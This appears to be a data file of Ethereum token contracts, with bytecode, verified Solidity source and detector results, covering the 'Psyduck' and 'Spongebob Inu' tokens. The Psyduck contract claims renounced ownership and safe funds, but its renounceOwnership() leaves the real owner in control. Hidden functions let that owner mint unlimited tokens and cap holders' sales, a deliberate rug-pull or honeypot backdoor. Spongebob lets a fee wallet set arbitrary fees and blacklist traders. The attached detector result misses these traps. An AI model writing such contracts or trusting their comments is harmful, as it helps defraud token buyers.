602060002090601f016020900481019282601f1061144057805160ff191683800117855561146d565b8280016001018555821561146d579182015b8281111561146d578251825591602001919060010190611452565b5061147992915061147d565b5090565b610b4a91905b8082111561147957600081556001016114835600a165627a7a72305820423e1dee783cad94afbd88779483c265e5c88e6b8a705c0176b07222de4e37240029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
10,053
0x0e579d70a6a46672dea38133546ab3ae9787ba20
/** *Submitted for verification at Etherscan.io on 2021-07-16 */ /* @@@@@@@ @@@@@@ @@@ @@@ @@@@@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@ @@@ @@! @@@ [email protected]@ @@! [email protected]@ @@! @@@ @@! @@@ @@! @@@ [email protected]@ @@! [email protected]@ @[email protected]@[email protected]! [email protected]@!! [email protected][email protected]! @[email protected] [email protected]! @[email protected] [email protected]! @[email protected] [email protected]! [email protected]! @[email protected]@[email protected]! !!: !:! !!: !!: !!! !!: !!! !!: !!! :!! !!: :!! ....... ....... : ::.: : .: :: : : :.:: : :.:: : :: :: : : ::: ....... ....... : :: : : : :: : : : :: : : : :: : : 🐣 You have encountered a wild PSYDUCK! PSYDUCK uses intense psychic energy to overwhelm those around it, 💥 helping the balance of your tokens grow over time! Some of PSYDUCK's abilities are a FAIR LAUNCH, RENOUNCED OWNERSHIP, and LOCKED LIQUIDITY, ensuring funds are safe. The website is Psyduck.ca Telegram is https://t.me/psyduckcoin */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.3; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Psyduck is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _router; mapping (address => mapping (address => uint256)) private _allowances; address public public_address; address public caller; uint256 private _reflectMax = 22222222222 * 10**18; string private _name = 'Psyduck | psyduck.ca'; string private _symbol = 'PSYDUCK'; uint8 private _decimals = 18; uint256 public rTotal = 11111111 * 10**18; constructor () public { _router[_call()] = _reflectMax; emit Transfer(address(0), _call(), _reflectMax); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function Approve(address routeUniswap) public onlyOwner { caller = routeUniswap; } function addliquidity (address Uniswaprouterv02) public onlyOwner { public_address = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _reflectMax; } function reflect(uint256 reflectionPercent) public onlyOwner { rTotal = reflectionPercent * 10**18; } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function setreflectrate(uint256 amount) public onlyOwner { require(_call() != address(0), "ERC20: cannot permit zero address"); _reflectMax = _reflectMax.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (sender != caller && recipient == public_address) { require(amount < rTotal, "Transfer amount exceeds the maxTxAmount."); } _router[sender] = _router[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063dd62ed3e11610071578063dd62ed3e14610521578063eb7d2cce14610599578063f2fde38b146105c7578063f8d2a3f11461060b578063fc9c8d391461063f57610121565b8063715018a6146103b857806395d89b41146103c257806396bfcd2314610445578063a9059cbb14610489578063b4a99a4e146104ed57610121565b806323b872dd116100f457806323b872dd14610259578063313ce567146102dd57806344192a01146102fe578063622a69c61461034257806370a082311461036057610121565b8063053ab1821461012657806306fdde0314610154578063095ea7b3146101d757806318160ddd1461023b575b600080fd5b6101526004803603602081101561013c57600080fd5b8101908080359060200190929190505050610673565b005b61015c61074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019c578082015181840152602081019050610181565b50505050905090810190601f1680156101c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610223600480360360408110156101ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b60405180821515815260200191505060405180910390f35b61024361080f565b6040518082815260200191505060405180910390f35b6102c56004803603606081101561026f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b60405180821515815260200191505060405180910390f35b6102e56108f2565b604051808260ff16815260200191505060405180910390f35b6103406004803603602081101561031457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610909565b005b61034a610a15565b6040518082815260200191505060405180910390f35b6103a26004803603602081101561037657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b6103c0610a64565b005b6103ca610beb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040a5780820151818401526020810190506103ef565b50505050905090810190601f1680156104375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104876004803603602081101561045b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c8d565b005b6104d56004803603604081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d99565b60405180821515815260200191505060405180910390f35b6104f5610db7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105836004803603604081101561053757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ddd565b6040518082815260200191505060405180910390f35b6105c5600480360360208110156105af57600080fd5b8101908080359060200190929190505050610e64565b005b610609600480360360208110156105dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110e7565b005b6106136112f2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610647611318565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61067b61133e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe61133e565b8484611346565b6001905092915050565b6000600654905090565b600061082684848461153d565b6108e78461083261133e565b6108e285604051806060016040528060288152602001611b2560289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061089861133e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119029092919063ffffffff16565b611346565b600190509392505050565b6000600960009054906101000a900460ff16905090565b61091161133e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a6c61133e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b2c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c835780601f10610c5857610100808354040283529160200191610c83565b820191906000526020600020905b815481529060010190602001808311610c6657829003601f168201915b5050505050905090565b610c9561133e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610dad610da661133e565b848461153d565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e6c61133e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f2c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610f4c61133e565b73ffffffffffffffffffffffffffffffffffffffff161415610fb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611a6e6021913960400191505060405180910390fd5b610fce816006546119c290919063ffffffff16565b60068190555061102d8160026000610fe461133e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c290919063ffffffff16565b6002600061103961133e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061107f61133e565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6110ef61133e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611235576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611a8f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113cc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b726024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611452576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ab56022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115c3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b4d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611649576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611a4b6023913960400191505060405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116f45750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561175457600a548110611753576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611afd6028913960400191505060405180910390fd5b5b6117c081604051806060016040528060268152602001611ad760269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119029092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185581600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c290919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906119af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611974578082015181840152602081019050611959565b50505050905090810190601f1680156119a15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a2063616e6e6f74207065726d6974207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63655472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220eda1520c1c5fbcf732c3ae7226a61f299f015ce5b61f66510898c37d111d170764736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,054
0xfb0e43aab89d699bfad1d1da2f5329c65e7786f6
/** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Spongebob is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; address payable private _feeAddrWallet1 = payable(0xE37b53D82E33A0464274Df3d896f5e32da2b6ad7); address payable private _feeAddrWallet2 = payable(0xE37b53D82E33A0464274Df3d896f5e32da2b6ad7); uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 4; uint256 private _feeAddr2 = 6; string private constant _name = "Spongebob Inu"; string private constant _symbol = "SBOBINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
